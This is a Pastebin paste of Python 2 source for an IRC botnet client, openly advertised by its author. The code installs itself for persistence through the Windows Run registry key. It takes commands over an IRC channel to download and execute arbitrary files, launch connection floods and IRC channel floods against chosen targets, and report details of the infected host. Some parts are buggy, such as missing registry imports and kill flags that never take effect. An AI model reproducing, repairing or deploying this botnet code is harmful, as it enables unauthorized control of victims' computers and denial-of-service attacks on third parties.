stoker

IRC Botnet~ Linux ~

Jan 18th, 2014
505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3.  
  4. print '''
  5.  
  6. # Python Botnet.
  7. # Author: Muhammad Adeel aka Innoxent Stoker
  8. # FB: http://facebook.com/xtoker
  9.  
  10.         _\|/_
  11.         (o o)
  12. +----oOO-{_}-OOo--------------+
  13. |==> author: Muhammad Adeel   +
  14. +==> FB.com/xtoker            +
  15. |==> [email protected]      +
  16. +-----------------------------+
  17.  
  18. I Can Do Following Things.
  19.  
  20. [*]  Can Copy Myself AnyWhere in PC.
  21. [*]  Can Use the registry to add Myself to startup.
  22. [*]  Can Download files.
  23. [*]  Can Execute files.
  24. [*]  Can Syn flood.
  25. [*]  Can Irc channel flood attacks.
  26. [*]  Can Give info on the infected PC.
  27.  
  28. '''
  29.  
  30.  
  31. import socket
  32. import sys
  33. import random
  34. import urllib2
  35. import subprocess
  36. import os.path
  37. import os
  38. import threading
  39. import platform
  40. import shutil
  41.  
  42.  
  43. # Settings....
  44.  
  45. server = raw_input("Enter IRC Server: ")
  46. channel = raw_input("Channel Name: ")
  47. keyword = raw_input("Enter Keyword: ")
  48. nickprefix = raw_input("Nick Prefix: ")
  49. outfile = raw_input("Path to copy botnet: ")
  50.  
  51.  
  52. # Code...
  53.  
  54. ver = "1.0"
  55. synkill = False
  56.  
  57. class Synflood(threading.Thread):
  58.     def run(self):
  59.         sendmsg(channel, "Starting syn flood to " + host + " on port " + str(port))
  60.         while synkill == False:
  61.             synsock = socket.socket()
  62.             synsock.connect((host, port))
  63.         return
  64.  
  65. class Download(threading.Thread):
  66.     def run(self):
  67.         afile = url.rsplit('/', 1)
  68.         u = urllib2.urlopen(url)
  69.         localFile = open(afile[1], 'w')
  70.         localFile.write(u.read())
  71.         localFile.close()
  72.         sendmsg(channel, "Download of " + str(afile[1]) + " completed")
  73.  
  74. class Chanflood(threading.Thread):
  75.     def run(self):
  76.         chanfloodsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  77.         try:
  78.             chanfloodsock.connect((chanfloodserv, 6667))
  79.         except socket.error:
  80.             sendmsg(channel, "server timed out or does not exist")
  81.         else:
  82.             sendmsg(channel, "Flooding " + chanfloodchan + " on " + chanfloodserv)
  83.             chanfloodsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
  84.             chanfloodsock.send(str.encode("NICK "+ botnick +"\n"))
  85.             chanfloodsock.send(str.encode("JOIN "+ chanfloodchan + " " + chanfloodkeyword + "\n"))
  86.             while chanfloodkill == False:
  87.                 chanfloodsock.send(str.encode("PRIVMSG "+ chanfloodchan +" :" + msg + "\n") )
  88.             return
  89.  
  90. class Infect(threading.Thread):
  91.     def run(self):
  92.         shutil.copy(sys.argv[0],outfile)
  93.         aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
  94.         aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
  95.         SetValueEx(aKey,"Explorer",0, REG_SZ, outfile)
  96.        
  97. def connect():
  98.     try:
  99.         ircsock.connect((server, 6667))
  100.     except socket.error:
  101.         print "timed out.. trying again.."
  102.         connect()
  103.     else:
  104.         ircsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
  105.         ircsock.send(str.encode("NICK "+ botnick +"\n"))
  106.  
  107. def ping():
  108.     ircsock.send(str.encode("PONG :pingis\n"))
  109.  
  110. def sendmsg(chan , msg):
  111.   ircsock.send(str.encode("PRIVMSG " + chan +" :" + msg + "\n") )
  112.  
  113. def joinchan(chan):
  114.   ircsock.send(str.encode("JOIN " + chan + " " + keyword + "\n"))
  115.  
  116. def leavechan(chan):
  117.   ircsock.send(str.encode("PART " + chan + " leaving the channel" + "\n"))
  118.  
  119. def quitirc(chan):
  120.    chanfloodkill = True
  121.    synfloodkill = True
  122.    ircsock.send(str.encode("QUIT" + "\n"))
  123.  
  124. ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  125. botnick = nickprefix + str(random.randint(1,10000))
  126. connect()
  127. joinchan(channel)
  128.  
  129. if os.path.isfile(outfile) == False:
  130.     Infect().start()
  131. else:
  132.     print "\nComputer is already infected"
  133.  
  134. while 1:
  135.   ircmsg = ircsock.recv(2048)
  136.   ircmsg_clean = ircmsg.strip(str.encode('\n\r'))
  137.   print(ircmsg_clean)
  138.  
  139.   if ircmsg.find(str.encode("Nickname is already in use")) != -1:
  140.     botnick = nickprefix + str(random.randint(1,10000))
  141.     ircsock.send(str.encode("NICK "+ botnick +"\n"))
  142.     joinchan(channel)
  143.  
  144.   if ircmsg.find(str.encode("PING :")) != -1:
  145.     ping()
  146.  
  147.   if ircmsg.find(str.encode("!leave")) != -1:
  148.       leavechan(channel)
  149.  
  150.   if ircmsg.find(str.encode("!quit")) != -1:
  151.       quitirc(channel)
  152.       sys.exit()
  153.  
  154.   if ircmsg.find(str.encode("!download")) != -1:
  155.     try:
  156.         parts = ircmsg_clean.split()
  157.         url = parts[4]
  158.     except IndexError:
  159.         sendmsg(channel, "Invalid syntax, usage: !download <direct_link_to_file>")
  160.     else:
  161.         if __name__ == "__main__":
  162.             Download().start()
  163.                
  164.  
  165.   if ircmsg.find(str.encode("!run")) != -1:
  166.     try:
  167.         parts = ircmsg_clean.split()
  168.         run = parts[4]
  169.     except IndexError:
  170.         sendmsg(channel, "Invalid syntax, usage: !run <filename>")
  171.     else:
  172.         if os.path.isfile(run) == True:
  173.             subprocess.call(['start', run], shell=True)
  174.             sendmsg(channel, run + " has been executed.")
  175.         else:
  176.             sendmsg(channel, run + " does not exist.")
  177.  
  178.   if ircmsg.find(str.encode("!syn")) != -1:
  179.     try:
  180.         parts = ircmsg_clean.split()
  181.         host = parts[4]
  182.         port = int(parts[5])
  183.     except IndexError:
  184.         sendmsg(channel, "Invalid syntax, usage: !syn <host> <port>")
  185.     else:
  186.         if __name__ == "__main__":
  187.             synkill = False
  188.             t = Synflood().start()
  189.  
  190.   if ircmsg.find(str.encode("!stopsyn")) !=-1:
  191.     synkill = True
  192.     sendmsg(channel, "Flood stoped")
  193.  
  194.   if ircmsg.find(str.encode("!info")) !=-1:
  195.     iall = "all"
  196.     try:
  197.         parts = ircmsg_clean.split()
  198.         inick = parts[4]
  199.     except IndexError:
  200.         sendmsg(channel, "Invalid syntax, usage: !info <botname> or !info all to view info on all bots.")
  201.     else:
  202.         if inick == botnick or inick == iall:
  203.             os = platform.system()
  204.             name = platform.node()
  205.             proc = platform.processor()
  206.             info = "OS: " + os + ", Name: " + name + ", Processor: " + proc
  207.             sendmsg(channel, info)
  208.        
  209.  
  210.   if ircmsg.find(str.encode("!moreinfo")) !=-1:
  211.     miall = "all"
  212.     try:
  213.         parts = ircmsg_clean.split()
  214.         inick = parts[4]
  215.     except IndexError:
  216.         sendmsg(channel, "Invalid syntax, usage: !moreinfo <botname> or !moreinfo all to view detailed info on all bots.")
  217.     else:
  218.         if inick == botnick or inick == miall:
  219.             minfo = platform.uname()
  220.             sendmsg(channel, str(minfo))
  221.         else:
  222.             sendmsg(channel, inick + " does not exist in channel.")
  223.  
  224.   if ircmsg.find(str.encode("!chanflood")) !=-1:
  225.     try:
  226.         parts = ircmsg_clean.split()
  227.         chanfloodserv = parts[4]
  228.         chanfloodchan = parts[5]
  229.         chanfloodkeyword = parts[6]
  230.         sg = ircmsg_clean.rsplit("-m")
  231.         msg = sg[1]
  232.     except IndexError:
  233.         sendmsg(channel, "Invalid Syntax, usage: !chanflood <server> <chan> <chankeyword> -m <message>")
  234.     else:
  235.         chanfloodkill = False
  236.         sendmsg(channel, "server: " + chanfloodserv + " | channel: " + chanfloodchan + " | keyword: " + chanfloodkeyword + " | MESSAGE: " + msg)
  237.         Chanflood().start()
  238.  
  239.   if ircmsg.find(str.encode("!stopchanflood")) !=-1:
  240.     chanfloodkill = True
  241.     sendmsg(channel, "Stoping flood.")
  242.    
  243.   if ircmsg.find(str.encode("!name")) !=-1:
  244.     sendmsg(channel, "My name is: " + sys.argv[0])
  245.  
  246.   if ircmsg.find(str.encode("!version")) !=-1:
  247.     sendmsg(channel, ver)
Add Comment
Please, Sign In to add comment